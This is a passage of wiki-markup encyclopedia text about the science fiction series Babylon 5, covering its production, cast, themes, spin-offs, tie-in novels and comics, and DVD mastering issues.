| creator = [[J. Michael Straczynski]] 
| starring  = [[Bruce Boxleitner]]&lt;br&gt;[[Claudia Christian]]&lt;br&gt;[[Jerry Doyle (actor)|Jerry Doyle]]&lt;br&gt;[[Mira Furlan]]
| country = [[United States]]
| network = [[Prime Time Entertainment Network|PTEN]] / [[Turner Network Television|TNT]]
| first_aired = [[February 22]], [[1993]]
| last_aired = [[November 25]], [[1998]]
| num_episodes = [[List of Babylon 5 episodes|110]]
| imdb_id = 0105946
| tv_com_id = 11
|}}

'''''Babylon 5''''' is an epic [[science fiction on television|science fiction television series]] created, produced, and largely written by [[J. Michael Straczynski]]. The music for the TV series and related TV movies was composed by [[Christopher Franke]]. The pilot movie, ''The Gathering,'' aired on [[February 22]], [[1993]], and the regular series initially aired from [[January 26]], [[1994]] through [[November 25]], [[1998]], first in syndication on the short-lived [[Prime Time Entertainment Network]], then on cable network [[Turner Network Television|TNT]]. Because the show was aired every week in the [[United Kingdom]] on [[Channel 4]] without a break, the last four or five episodes of the early seasons were shown in the UK before the US.

The series won several awards [http://babylon5.isnnews.net/info/b5awards.shtml], including two [[Hugo Award|Hugos]] for [[Hugo Award for Best Dramatic Presentation|Best Dramatic Presentation]].

==Concept==
{{spoiler}}
{{B5}}

[[Image:Old School.gif|thumb|50pix|left|Original B5 promo logo]]

The series, often held as a good example of [[space opera]], consists of a five-year [[story arc]] taking place over five seasons of 22 episodes each. The hub of the story is a large [[space station]] named Babylon 5; the five mile (8 km) long, 2.5 million ton rotating colony is built to be a gathering place for fostering peace through [[diplomacy]], trade, and cooperation. Babylon 5 is a center of political intrigue and conflict, and eventually becomes a pawn in a massive interstellar conflict from which it emerges with a victory over forces of darkness and chaos, albeit at great cost. This is reflected in the opening monologue of each episode which includes &quot;last, best hope for peace&quot; in season one but changes to &quot;last, best hope for victory&quot; by season three.

Having long been a science fiction fan himself, Straczynski was determined to produce a science fiction series for adults where, for once, things would be done properly: consistent technology, &quot;no kids or cute robots&quot;, no new &quot;particle of the week&quot; to tie up a plot. It was not a utopian future &amp;mdash; there is greed and homelessness. It was not a place where everything was the same at the end of the day &amp;mdash; main characters grow, develop, live, and die. An unabashedly political show, it was always ready to deal with politics, sex, religion, and philosophy.

[[Image:Babylon5_02.jpg|thumb|left|300px|The ''Babylon 5'' Station]]

Unlike most television shows, this series was conceived as a [[novel]], with a defined beginning, middle, and end. In addition, even tie-in novels, comic books, and short stories play a significant part of the overall story. 

The overall story of the show was plotted out in some detail before the first episode was ever shot. Having a (loosely) predetermined plot was advantageous in many respects, as longer-term planning greatly reduced the working budget required on sets and costumes. The planned plot arc, allowing largely fixed sets and economies of scale, favorably compared with more episodic series which might require an entirely new set of props or costumes for each episode.

Though conceived as a whole, and with Straczynski writing most of the episodes (including all of the episodes of the third and fourth seasons, a feat never before accomplished in American television), it was necessary to adjust the plotline to accommodate external influences. The replacement of [[actor]] [[Michael O'Hare]] as the station commander after the first season, the unexpected departure of actresses [[Claudia Christian]] and [[Andrea Thompson]], and the necessity to compress the fourth season story arc due to fears of cancellation proved to be major challenges. Consequently, season four is loaded with a dizzying amount of plot, and the final episode shot for season four was held back to be the ending for the fifth season, and thus the entire series. 

''Babylon 5'' is often cited as raising the bar for science fiction television, using an arc-driven storytelling style now prevalent in science fiction and in mainstream drama. Straczynski anticipated the rise of digital television, shooting the series in 16:9 format rather than the normal 4:3 - a full six years before ''[[ER (TV series)|ER]]'' and many other dramas began doing the same thing. ''Babylon 5'' also revolutionized the use of computer technology in creating [[visual effects]] at a time when using models and miniatures was the norm. It was also the first sci-fi series to respect [[Newtonian physics]] in its space battle sequences, since utilised in other series such as [[Joss Whedon]]'s [[Firefly (TV series)|Firefly]] and the [[Sci-Fi Channel]] version of [[Battlestar Galactica (2003)]].

==Cast and primary characters ==
===Regular cast===
* [[Jeffrey Sinclair]] ([[Michael O'Hare]], season 1, recurring in seasons 2&amp;ndash;3)
* [[John Sheridan (Babylon 5)|John Sheridan]] ([[Bruce Boxleitner]], seasons 2&amp;ndash;5)
* [[Susan Ivanova]] ([[Claudia Christian]], seasons 1&amp;ndash;4, last episode of season 5)
* [[Michael Garibaldi]] ([[Jerry Doyle (actor)|Jerry Doyle]])
* [[Delenn]] ([[Mira Furlan]])
* [[Londo Mollari]] ([[Peter Jurasik]])
* [[G'Kar]] ([[Andreas Katsulas]])
* [[Dr. Stephen Franklin]] ([[Richard Biggs]])
* [[Vir Cotto]] ([[Stephen Furst]])
* [[Lennier]] ([[Bill Mumy]])
* [[Na'Toth]] ([[Julie Caitlin Brown]], season 1 (also appears in one episode of season 5); [[Mary Kay Adams]], season 2)
* [[Warren Keffer]] ([[Robert Rusler]], season 2)
* [[Elizabeth Lochley]] ([[Tracy Scoggins]], season 5)
* [[Zack Allan]] ([[Jeff Conaway]], recurring in season 2, seasons 3&amp;ndash;5)
* [[Lyta Alexander]] ([[Patricia Tallman]], pilot, recurring in seasons 2&amp;ndash;3, starring in seasons 4&amp;ndash;5)
* [[Talia Winters]] ([[Andrea Thompson]], seasons 1&amp;ndash;2)
* [[Marcus Cole]] ([[Jason Carter]], seasons 3&amp;ndash;4)

===Recurring guest characters===
* [[Alfred Bester (Babylon 5)|Alfred Bester]] ([[Walter Koenig]])
* [[Morden (Babylon 5)| Morden]] ([[Ed Wasser]])
* [[David Corwin (Babylon 5)|David Corwin]] ([[Joshua Cox]])
* [[Lord Refa]] ([[William Forward]])
* [[Lorien (Babylon 5)|Lorien]] ([[Wayne Alexander]])
* [[Neroon]] ([[John Vickery]])
* [[Ta'Lon]] ([[Marshall Teague (actor)|Marshall Teague]])
* [[Emperor Cartagia]] ([[Wortham Krimmer]])
* [[Centauri Minister/Regent]] ([[Damian London]])
* [[Kosh]] (voiced by [[Ardwight Chamberlain]])
* [[Zathras]] ([[Tim Choate]])
There was also a group of actors who each played numerous bit parts, known informally as &quot;The Babylon 5 Players&quot;.  For example, each of the actors who played a Drazi ambassador during the series also appeared as another minor character elsewhere in the Babylon 5 saga.
{{see also|List of people involved with Babylon 5}}

===Babylon stations===
[[Image:Babylon5_01.jpg|thumb|right|300px|Another shot of the ''Babylon 5'' station]]
Babylon 5 is the fifth, and last, of the Babylon space stations. Its predecessors, the original Babylon station, Babylon 2 and Babylon 3 were all sabotaged and destroyed before their completion. Twenty-four hours after it became fully operational [[Babylon 4]] disappeared without a trace. The episode &quot;[[Babylon Squared]]&quot; and the two-part episode &quot;[[War Without End]]&quot; deal with the disappearance of Babylon 4. Babylon 5 is substantially smaller than the previous stations because so much money was spent on the prior stations. For example, Babylon 4 had its own propulsion system, while Babylon 5 has none.

Straczynski has said that he has detailed notes on the inauguration of the Babylon station program, and that one man was at the heart of the effort to get the first one built.

The three Babylon stations seen on screen were each a different color: Babylon 1 was red, Babylon 4 green, and Babylon 5 blue. (A persistent [[Fanon (fiction)|fanon]] rumor is that all five Babylon stations are colored in rainbow order - thus Babylon 2 would be orange, and Babylon 3 yellow. However, neither of those stations ever actually appeared onscreen.) 

[[Bruce Boxleitner]] described the space station Babylon 5 as &quot;... A free port for diplomats, travelers and businessmen. A combination of building the [[United Nations]] and [[Times Square]] on an intergalactic scale...&quot;,  in the introduction of &quot;The Guide to Babylon 5&quot;.

=== Ethnicity and language of characters ===
Most humans appear to mirror the ethnic composition of the [[United States]]. All speak American English, with the exception of Marcus Cole, who speaks with a distinct English accent. There is no account for possible evolutions of the language 250 years from now. Of the main characters, no one is from [[South America]], [[Africa]], or [[Asia]]. The latter two were represented in [[Babylon 5: The Gathering|the pilot episode]], but the characters of [[Benjamin Kyle]] and [[Laurel Takashima]] did not appear in the series.

Susan Ivanova, born in [[Russia]], speaks with an American accent, but has some posters with writings in the [[cyrillic alphabet]] in her room, possibly indicating she knows the language. When Ivanova tries to learn the Minbari language, she obtains comical  results, such as the inability of even giving simple commands: given her mastery of English, it could be inferred she was raised with English as a mother tongue. Her name is consistently accented I'''va'''nova instead of Iva'''no'''va, which would be correct in [[Russian language|Russian]]; however, this might fall in the boundaries of the evolution of Russian over a 250-year span.

Michael Garibaldi, with an [[Italian language|Italian]] last name and an [[English language|English]] first name, also speaks with an American accent, and at no time is shown to know Italian. In one episode he mentions that his grandmother was a [[Boston]] police officer. However, he retains a heritage in that he orders Italian foodstuffs such as [[mozzarella]] by mail. He is also able to learn to read written Narn in a very short time, indicating exceptional linguistic skills, when reading the [[Book of G'Quan]] that G'Kar had loaned him. His name is also consistently mispronounced as &quot;gah-ree-'''bohl'''-dee&quot; instead of &quot;gah-ree-'''bahl'''-dee&quot;. Garibaldi is a fairly uncommon surname in [[Italy]], but it is the surname of national hero [[Giuseppe Garibaldi]].

=== Usage of English ===
Most aliens are able to speak human sounds, and speak English correctly; Londo Mollari is one of the few with a noticeable accent; however, most other Centauri do not have the accent. This accent was developed independently by actor Peter Jurasik and was most closely imitated by the actor playing Lord Refa. Of other aliens, G'Kar has a particular gift for speech and writing in both Narn and English.

Of all aliens, only Minbari are shown to speak a [[Minbari#Language|different language]], heard only when humans are present to stress that they cannot understand what is being said. When Minbari are shown talking to each other, speeches are always in English; the same is true for Narn, Centauri and other races. English is therefore used to avoid long sequences with subtitles.

English, however, is mentioned explicitly as the &quot;Earth language of commerce&quot;. No human speaking a language different than English is shown, but Marcus Cole makes a joke about the [[France|French]] when some of the [[First Ones]] refuse to speak English even if he understood it, suggesting that there are still French speakers who are hostile to the English language. 

Various human characters appear who speak English with recognizable regional accents. Among them are British English (the telepath [[Byron (Babylon 5)|Byron]], the character who introduces the Night Watch, and also [[Knight One]] in &quot;[[And the Sky Full of Stars]]&quot;), New Zealand (woman hiring the monks in &quot;[[Passing Through Gethsemane]]&quot;), a Nigerian accent used by a character called David Endawi in &quot;Matters of Honour&quot;), Australian (Ivanova's ex-boyfriend in &quot;[[The War Prayer (Babylon 5)|The War Prayer]]&quot;) and a Hispanic dock worker in &quot;[[By Any Means Necessary (Babylon 5)|By Any Means Necessary]]&quot;, to mention but a few.  Most of these are the native accents of the actor playing the role.  The actor playing &quot;Captain Jack&quot; in &quot;[[Racing Mars]]&quot; spoke with a strange combination of Australian, American and Cockney accents all at once.

==Civilizations==
{{main|Civilizations in Babylon 5}}
[[Image:B5_aliens.jpg|thumb|right|300px|[[G'Kar]] (left) of the [[Narn Regime]] and [[Londo Mollari]] of the [[Centauri Republic]].]]

One of the show's many themes is the cultural and social interaction between civilizations: the station is, after all, a diplomatic meeting-place. The show is as much political thriller as science fiction.

Five dominant civilizations are represented on Babylon 5, and more than a dozen less powerful ones.

==Themes==
Through its ongoing story arc, Babylon 5 found ways to portray [[theme (literary)|theme]]s relevant to modern social issues.

===Authoritarianism vs. chaos; light vs. dark vs. gray===
The central theme in Babylon 5 is the conflict between order and chaos, and the people caught in between.

The Vorlons and the Earth Alliance Government (as it had been under [[President Clark]]) both represent oppressive, [[authoritarian]] philosophies: you will do what we tell you to, because we tell you to do it.  ''Who are you?''  Are you willing to sacrifice yourself for a greater cause, or are you merely serving your own petty interests?

The Shadows represent chaos. Their belief is that by creating conflict, a stronger generation is born &amp;mdash; pure &quot;survival of the fittest&quot;. To accomplish this, the Shadows encourage conflict between other groups, who choose to serve their own glory or profit. ''What do you want?''  Money, territory, fame, power? 

The Rangers, composed mainly of Minbari and Humans with a scattering of other races, represent a third way; their unwavering commitment to compassion and self-sacrifice, epitomised by the character of [[Marcus Cole]], opposes both the emotionless war of the Vorlons and the chaotic brutality of the Shadows.

Ultimately, the main characters try to strike a balance: sometimes selfish, sometimes self-sacrificing, and making many mistakes along the way. Sometimes they impress us, and sometimes they horrify us. ''Do you have anything worth living for?'' Do you love?  Do you have a true calling? What is the purpose of your life? &quot;Why are you here?&quot; 

Straczynski occasionally hinted that there was a &quot;fourth question.&quot; One possibility is [[Lorien (Babylon 5)|Lorien]]'s final question to Sheridan: &quot;Where are you going?&quot;

It is (intentionally) ironic that the Earth Alliance government, an incarnation of Vorlon-style order, informally allied itself with the Shadows during the course of the series.

=== War and peace ===
The ''Babylon 5'' timeline includes numerous major armed conflicts:

* World War III, erupting in the year 2076 AD, ultimately ending in 2084 with the loss of countless human lives. The [[Earth Alliance (Babylon 5)|Earth Alliance]] is founded out of the ashes of this conflict.
* The first war between the [[Narn]] and [[Centauri (Babylon 5)|Centauri]], which ends four decades before the series.
* The war between the [[Dilgar]] and the League of Non-Aligned Worlds (aided by the [[Earth Alliance (Babylon 5)|Earth Alliance]]), which takes place three decades before the series.
* The war between the [[Humans]] and the [[Minbari]] (the Earth-Minbari War), which takes place ten years before the series starts.
* The second war between the [[Narn]] and [[Centauri (Babylon 5)|Centauri]], which takes place during the series.
* The aeons-old conflict between the [[Vorlons]] and the [[Shadow (Babylon 5)|Shadows]], which breaks out again during the series after a thousand-year lull.
* The civil war between the Minbari religious and warrior castes.
* The civil war between [[President Clark]]'s corrupt [[Earth Alliance (Babylon 5)|Earthgov]] and the Babylon 5-led resistance.
* The war between the new [[Interstellar Alliance]] and the Centauri Republic.
* The war between the Earth Alliance and the [[Drakh]].
* The [[Telepath War]], most of which takes place shortly after the series, from 2264-65.
* The battle to free Centauri Prime from Drakh occupation, which takes place a decade and a half after the series.
* The [[Great Burn]], a nuclear war between factions of the Earth Alliance that takes place five centuries after the series, circa 2762 AD (designated &quot;World War IV&quot; in the ''Official Babylon 5 Chronology'').

Every conflict has a forgotten &quot;third side,&quot; people crushed beneath the feet of the powerful. Usually a single individual willing to sacrifice himself is more powerful than the greatest army...whereas an individual willing to sacrifice everyone else to serve his own objectives can reduce entire worlds to ashes, and yet still be defeated.

After all is done, we find members of the opposing sides working together to forge a new future. (Examples: the Rangers, Delenn and Neroon; Delenn and Sheridan; Londo and G'Kar; Garibaldi and Lochley.)

Ultimately, every violent conflict is born out of self-interest, perpetuated by prejudice and ideology, and resolved by the realization that each side needs the other to survive. Hatred is associated with stupidity, forgiveness is associated with pragmatism, and wisdom follows conflict.

===Love and true seekers===
Unrequited [[love]] may be the source of all pain in Babylon 5. Ivanova loses everyone she loves.  Lennier is the ultimate victim of unrequited love, but also of his own immaturity. Sheridan and Delenn know true love; Sheridan comes back from the dead ''for'' love (&quot;[[Whatever Happened to Mr. Garibaldi?]]&quot;). Marcus says, &quot;Sometimes love is funny, sometimes very sad.&quot; Garibaldi takes a long time to figure it out. Ivanova says she doesn't speak with her heart any more.  Vir knows what true love is from the beginning; his problem is getting to &quot;[[Centauri (Babylon 5)#Sexuality|number six]]&quot;. In the first season, Sinclair is cautioned by Garibaldi to find something to live for, rather than something for which to die. Later in the series, Marcus, the chaste warrior, sacrifices his life for the woman he loves. It was only at the last moment that he could tell her this.

But there are a few for whom physical desire has no appeal. They have a greater calling: finding the holy grail, all the names of God, or the fulfilment of a thousand year old prophecy.  One of the remarkable aspects of Babylon 5 was that many of its characters had profound spiritual and/or religious beliefs (&quot;[[Parliament of Dreams]]&quot;).  Straczynski, an atheist, was determined that the characters and the show would treat all these beliefs with the utmost respect.  Often, a religious or moral question was presented with no clear answer.  A perfect example was the early episode &quot;[[Soul Hunter]]&quot; in which three different interpretations are presented for the Soul Hunters' actions -- and the show stubbornly refuses to endorse any side as being &quot;right&quot;.  Another example would be the moral conflict presented in &quot;[[Believers]]&quot;.  More important for the overall arc of the program was the large plot thread hinging upon Minbari religious beliefs and the spiritual evolution of G'Kar.

When asked about these moral conflicts, Straczynski would maintain that the program should not choose sides but rather &quot;hold up a mirror&quot; so the viewer would be forced to examine his own beliefs.  He was more interested in how these beliefs caused people to act rather than the ultimate truth of them.

===Fighting the system===
Straczynski's recurring message is that an individual can make a difference. This message is strongly implied in the episode &quot;[[The Coming of Shadows]]&quot;, in a conversation between Emperor Turhan and Captain Sheridan. The Emperor dies before he can say that he is sorry for the crimes his government committed against the Narn. Straczynski considers this episode to be the centerpiece of the series.

===Addiction===
[[Addiction]] plays a recurring role in the saga of ''Babylon 5''. Power as an addiction, work as an addiction, violence as an addiction and hatred as an addiction all play out repeatedly.  Several major characters have a history of substance abuse: Garibaldi is a recovering alcoholic who succumbs to intolerable emotional pressures and attempts to find solace in drink; Londo Mollari is a heavy drinker; Dr. Franklin is addicted to synthetic stimulants (&quot;stims&quot;); and Lochley went through a period of hard drug abuse in her younger years. Abuse of &quot;dust&quot;,  a telepathic drug, also plays a recurring role in the story.

Obsession as a related theme occurs numerous times too.  Sheridan is willing to break the rules of due process to learn the fate of his wife after discovering the connection between her and Morden.  The Narn and Centauri hate each other to the point of obsession and addiction.

===Self Sacrifice===
Self sacrifice plays an important role throughout the series as well.  The ideal of one sacrificing everything for another (even a stranger) with no personal gain is a main contrasting theme of the &quot;good&quot; characters vs. &quot;evil&quot;.  Selfishness is often the turning point of a character from light to darkness, and selflessness denotes a change in the reverse, even though all main characters portray all levels of this throughout the series.

== Music and scoring ==
The original pilot movie had music composed by [[Stewart Copeland]].  When the show was picked up as a weekly series Copeland was not available, and so Straczynski hired [[Christopher Franke]], of [[Tangerine Dream]] fame.  Franke stayed on as the composer for all five seasons of Babylon 5, and three of the Babylon 5 telefilms.  When Straczynski obtained funds to create a new writer's edition of the pilot movie, the original Stewart Copeland score was replaced with a new score by Christopher Franke.

==The episodes==
{{main|List of Babylon 5 episodes}}

* ''[[Babylon_5:_The_Gathering|The Gathering]]'', the pilot movie

Each season shared its name with an episode which was central to that season's plot.

* Season One: &quot;Signs and Portents&quot;
* Season Two: &quot;The Coming of Shadows&quot;
* Season Three: &quot;Point of No Return&quot;
* Season Four: &quot;No Surrender, No Retreat&quot;
* Season Five: &quot;The Wheel of Fire&quot;

===Other made-for-TV movies===
* ''[[Babylon_5:_In_the_Beginning|In the Beginning]]''
* ''[[Babylon_5:_Thirdspace|Thirdspace]]''
* ''[[Babylon_5:_The River of Souls|The River of Souls]]''
* ''[[Babylon_5:_A Call to Arms|A Call to Arms]]''
* ''[[Babylon_5:_The_Legend_of_the_Rangers|The Legend of the Rangers]]''

==Spin-offs==
===Crusade===
{{main|Crusade (TV series)}}
The spin-off series ''[[Crusade (TV series)|Crusade]]'' [http://www.midwinter.com/lurk/countries/us/guide/113.html (Lurkers' Guide entry)] ran on [[Turner Network Television|TNT]] for thirteen episodes, having been set up by the TV-movie ''A Call to Arms''. The production team received help from [[NASA]]'s [[Jet Propulsion Laboratory]] to make sure that the series depicted science and technology accurately [http://www.jpl.nasa.gov/releases/98/crusade2.html (JPL press release)]. But creative differences between Straczynski and TNT caused problems; the network wanted more sex and violence [http://www.aint-it-cool-news.com/display.cgi?id=2060 (AICN)] and forced Straczynski to begin the first episode with a fistfight. The sex-and-violence request was later withdrawn and TNT in fact allocated more money to ''Crusade'', giving the actors better uniforms and new sets mid-season, but due to the creative differences TNT eventually decided to cancel the series after thirteen episodes had been produced, but before any of them were aired. At the time of the cancellation, no major story arcs had yet come into play.

===Legend of the Rangers===
{{main|Babylon 5: The Legend of the Rangers}}
A made-for-TV movie titled ''[[Babylon 5: The Legend of the Rangers|To Live and Die in Starlight]]'' was produced by the [[Sci Fi Channel (United States)|Sci Fi Channel]]. It was the proposed pilot episode of a new series titled ''[[Babylon 5: The Legend of the Rangers]]''. Rescheduled after the [[September 11, 2001 attacks]], the movie aired on [[January 19]], [[2002]]. However, it was scheduled against an [[NFL]] [[American Football Conference|AFC]] Divisional Championship playoff game featuring the [[New England Patriots]] and the [[Oakland Raiders]]. The pilot's poor ratings killed the network's interest in a series.  Straczynski posted the following to [[Usenet]] on [[January 27]], [[2002]]:
:''The east coast ratings got hammered by the football game, which was the highest rated such game in something like 5 years. The B5 male demos are pretty much the same as for sports, and we lost heavily to football. So there we did not do well. By contrast, on the west coast, where the show aired *after* the game had finished, we not only met but *exceeded* SFC's expectations, getting a 3.2 or 3.6 in many markets, which is actually pretty unheard of for a basic cable network. The problem is that the average, 1.7, is still what's used for advertising.''

===The Memory of Shadows===
{{main|The Memory of Shadows}}
In 2004 and early 2005, rumors widely circulated about a planned 'Babylon 5' movie for theatrical release. However, on February 25th, a [http://www.jmsnews.com/msg.aspx?id=1-17289 post from Straczynski] announced that the project had fallen through and was for all practical purposes dead. The proposed movie, titled ''[[The Memory of Shadows]]'' (TMOS), was written by Straczynski. Filming was to have begun in April 2005 in the UK with Steven Beck as the director.

Several sources have claimed that factions within Warner Brothers wanted to recast established Babylon 5 roles with younger and more well-known actors, causing a major controversy among fans of Babylon 5.  Straczynski has acknowledged the subject and has stated that the negotiations were problematic, but has said that he is unable to directly comment on the issue. 

According to statements and clues made by Straczynski in a  convention appearance in New Jersey, and statements on a Usenet newsgroup, it is known that the planned storyline connected to that of the short-lived Crusade television series. In this movie the technology of the ancient Shadow race is being unleashed on the galaxy by an unknown force. [[EarthForce]] intelligence officer Diane Baker, whose brother was recently killed in a mysterious explosion, intends to find out who is behind the conspiracy. Joining her is Galen, a [[technomage]] who has been charged with keeping the technology out of the hands of those who would abuse it.

==Novels, novelizations, short stories, and comic books==
Unique to the ''Babylon 5'' universe among virtually all other shared media universes is the sanctioned canonicity of many of its offshoot novels and comic book stories; nearly all of the B5 novels and novelizations to date having been based on outlines written directly by J. Michael Straczynski. The later Del Rey books are considered to be more [[canon (fiction)|canonical]] than some of the earlier Dell ones, although -- per Straczynski's own remarks -- canonical elements exist in every single book published to date; Straczynski's deeper involvement in the novel-publishing program from 1996 onward having ensured a greater level of canonicity within such works. 

Additionally, the creator himself penned a number of short stories expanding on several key story-points from the television series, along with a number of other established authors, with all such tales considered as &quot;real&quot; as the TV show itself. The comic books published by DC are also fully endorsed, with JMS again either having directly written or contributed to all of the issues in one form or another.

Straczynski himself is presently (as of early 2006) hard at work finishing up the manuscript for a 100-page ''Babylon 5'' graphic novel, to be published during the late period of the year by [[Wildstorm Productions]]. At the moment, the premise, characters, and plotline are still unknown.

[[Mongoose Publishing]], the publisher of recent Babylon 5 role-playing game (RPG) material, has announced that it will be releasing a line of Babylon 5 novels and graphic novels beginning in late 2005.  More information is available at [http://www.mongoosepublishing.com their website].

===Novels===
''The seventh and ninth Dell novels are considered fully canonical by J. Michael Straczynski, with canon elements interspersed throughout the other books.''
# ''[[Babylon 5: Voices]]'' by [[John Vornholt]] (1995, ISBN 0440220572)
# ''[[Babylon 5: Accusations]]'' by [[Lois Tilton]] (1995, ISBN 0440220580)
# ''[[Babylon 5: Blood Oath]]'' by [[John Vornholt]] (1995, ISBN 0440220599)
# ''[[Babylon 5: Clark's Law]]'' by [[Jim Mortimore]] (1996, ISBN 044022229X)
# ''[[Babylon 5: The Touch of Your Shadow, the Whisper of Your Name]]'' by [[Neal Barrett Jr.]] (1996, ISBN 0440222303)
# ''[[Babylon 5: Betrayals]]'' by [[S.M. Stirling]] (1996, ISBN 0440222346)
# ''[[Babylon 5: The Shadow Within]]'' by [[Jeanne Cavelos]] (1997, ISBN 0440223482; 2002 edition: ISBN 0345452186)
# ''[[Babylon 5: Personal Agendas]]'' by [[Al Sarrantonio]] (1997, ISBN 0440223512)
# ''[[Babylon 5: To Dream in the City of Sorrows]]'' by [[Kathryn M. Drennan]]  (1997, ISBN 0440223547; 2003 edition: ISBN 0345452194)

====The Psi Corps Trilogy====
''All are considered canon: written by [[J. Gregory Keyes]].''
# ''[[Babylon 5: Dark Genesis - The Birth of the Psi Corps]]'' (1998, ISBN 0345427157)
# ''[[Babylon 5: Deadly Relations - Bester Ascendant]]'' (1999, ISBN 0345427165)
# ''[[Babylon 5: Final Reckoning - The Fate of Bester]]'' (1999, ISBN 0345427173)

====The Centauri Trilogy====
''All are considered canon: written by [[Peter David]].''
# ''[[Babylon 5: Legions of Fire - The Long Night of Centauri Prime]]'' (1999, ISBN 0345427181)
# ''[[Babylon 5: Legions of Fire - Armies of Light and Dark]]'' (2000, ISBN 034542719X)
# ''[[Babylon 5: Legions of Fire - Out of the Darkness]]'' (2000, ISBN 0345427203)

====The Technomage Trilogy====
''All are considered canon: written by [[Jeanne Cavelos]].''
# ''[[Babylon 5: The Passing of the Techno-Mages - Casting Shadows]]'' (2001, ISBN 0345427211)
# ''[[Babylon 5: The Passing of the Techno-Mages - Summoning Light]]'' (2001, ISBN 034542722X)
# ''[[Babylon 5: The Passing of the Techno-Mages - Invoking Darkness]]'' (2001, ISBN 0345438337)

===Novelizations===
''All are considered canon: written by various authors.''
* ''[[Babylon 5: In the Beginning]],'' by [[Peter David]] (1998, ISBN 0345424522)
* ''[[Babylon 5: Thirdspace]],'' by [[Peter David]] (1998, ISBN 0345424549)
* ''[[Babylon 5: A Call to Arms]],'' by [[Robert Sheckley]] (1999, ISBN 0345431553)

===Short Stories===
''All are considered canon: written by various authors.''
* [[&quot;The Shadow of His Thoughts&quot;|&quot;The Shadow of His Thoughts,&quot;]] by [[J. Michael Straczynski]] (Summer 1999, ''Amazing Stories Magazine'')
* [[&quot;Genius Loci&quot;|&quot;Genius Loci,&quot;]] by J. Michael Straczynski (Winter 2000, ''Amazing Stories Magazine'')
* [[&quot;Space, Time, and the Incurable Romantic&quot;|&quot;Space, Time, and the Incurable Romantic,&quot;]] by J. Michael Straczynski (Summer 2000, ''Amazing Stories Magazine'')
* [[&quot;Hidden Agendas&quot;|&quot;Hidden Agendas,&quot;]] by J. Michael Straczynski (May 2000, ''The Official Babylon 5 Magazine'')
* [[&quot;True Seeker&quot;|&quot;True Seeker,&quot;]] by Fiona Avery (July 2000, ''The Official Babylon 5 Magazine'')
*[[&quot;The Nautilus Coil&quot;|&quot;The Nautilus Coil,&quot;]] by J. Gregory Keyes (August 2000, ''The Official Babylon 5 Magazine'')

===Comic Books===
''All are considered canon: written by various authors.''

====Monthly DC Comics Series (1994-95)====
# [[&quot;In Darkness Find Me&quot;|&quot;In Darkness Find Me,&quot;]] written by [[J. Michael Straczynski]] (December 1994, DC Comics)
# [[&quot;Treason&quot;|&quot;Treason,&quot;]] written by [[Mark Moretti]], story premise by J. Michael Straczynski (January 1995, DC Comics)
# [[&quot;In Harm's Way&quot;|&quot;In Harm's Way,&quot;]] written by Mark Moretti, story premise by J. Michael Straczynski (February 1995, DC Comics)
# [[&quot;The Price of Peace&quot;|&quot;The Price of Peace,&quot;]] story premise by J. Michael Straczynski (March 1995, DC Comics) 
# [[&quot;With Friends Like These...&quot;|&quot;With Friends Like These...&quot;]], written by [[Timothy DeHaas]], story premise by J. Michael Straczynski (June 1995, DC Comics) 
# [[&quot;Against the Odds&quot;|&quot;Against the Odds,&quot;]] written by Timothy DeHaas, story premise by J. Michael Straczynski (July 1995, DC Comics) 
# [[&quot;Survival the Hard Way&quot;|&quot;Survival the Hard Way,&quot;]] written by Timothy DeHaas, story premise by J. Michael Straczynski (August 1995, DC Comics) 
# [[&quot;Silent Enemies&quot;|&quot;Silent Enemies,&quot;]] written by Timothy DeHaas, story premise by J. Michael Straczynski (September 1995, DC Comics) 
# [[&quot;Duet for Human and Narn in C Sharp&quot;|&quot;Duet for Human and Narn in C Sharp,&quot;]] written by [[David Gerrold]] (October 1995, DC Comics)
# [[&quot;Coda for Human and Narn in B Flat&quot;|&quot;Coda for Human and Narn in B Flat,&quot;]] written by David Gerrold (November 1995, DC Comics)
# [[&quot;The Psi Corps and You!&quot;|&quot;The Psi Corps and ''You''!&quot;]], written by Timothy DeHaas (December 1995, DC Comics)

====''Babylon 5: In Valen's Name''====
# [[&quot;In Valen's Name, Part 1&quot;|&quot;In Valen's Name, Part 1,&quot;]] written by J. Michael Straczynski (February 1998, DC Comics)
# [[&quot;In Valen's Name, Part 2&quot;|&quot;In Valen's Name, Part 2,&quot;]] written by Peter David, story by J. Michael Straczynski (March 1998, DC Comics)
# [[&quot;In Valen's Name, Part 3&quot;|&quot;In Valen's Name, Part 3,&quot;]] written by Peter David, story by J. Michael Straczynski (April 1998, DC Comics)

====Untitled ''Babylon 5''  Graphic Novel ([[Wildstorm Productions]])====
''Fully canonical, written by J. Michael Straczynski.''
* To be published sometime in late 2006 or early 2007.

== DVDs ==
The ''Babylon 5'' series has been released in [[DVD]] form. Included are all episodes, selected director and [[audio commentary (DVD)|cast commentary]], previews of episodes, and a multimedia database of ''Babylon 5'' related information. As of 2005, all five seasons of the original series, as well as the six movies and the spinoff series ''Crusade'', are available individually for purchase, although not in all regions. ''The Legend of the Rangers'' is currently unavailable in the United States, but is scheduled to be released as a standalone disc on March 14, 2006.

There is also a box set available in the UK called ''Babylon 5 : The Complete Universe'', which, as one would expect, contains every ''Babylon 5'' series and movie and the spinoff series ''Crusade''.

=== Mastering problems ===
The transfer of ''Babylon 5'' to DVD created significant problems with regard to [[Special effect|special-effects]]/[[Computer-generated imagery|CGI]] footage. Several factors complicated the process.

* Although originally broadcast in the standard television [[Aspect ratio (image)|aspect ratio]] of [[Aspect ratio (image)|4:3]], all live-action footage was filmed on [[Super 35 mm film]] (with a ratio of [[Aspect ratio (image)|1.65:1]]). The idea was that, once [[widescreen]] televisions (with an aspect ratio of [[Aspect ratio (image)|16:9]] or [[Aspect ratio (image)|1.78:1]]) became more popular, the episodes could be easily converted into a widescreen format.

* CGI shots were rendered in the 4:3 ratio, but designed so that the top and bottom of each shot could be removed to create a widescreen image without ruining the image composition.

* All of the purely live-action shots were stored as [[High-definition television|high-definition]] digital images.

* However, CGI shots, and shots combining live-action with CGI, were stored in the much lower-definition [[NTSC]] digital format. (Again, the expectation was that it would be relatively cheap in the future to recreate the CGI as widescreen.)

* Over the years, the original computer-generated models, etc. have been lost, making it necessary to use the old 4:3 CGI shots.

This has resulted in several consistent flaws throughout the ''Babylon 5'' DVD release. In particular, quality drops very significantly whenever a scene cuts from purely live-action to a shot combining live-action and CGI.  This is especially noticeable on the [[PAL]] DVDs, since CGI shots had to be converted from NTSC as well as being blown up to fit a widescreen television.

==Video games==
[[Image:IntoTheFire.jpg|thumb|150px|The cover of the cancelled ''Into the Fire'' game]]
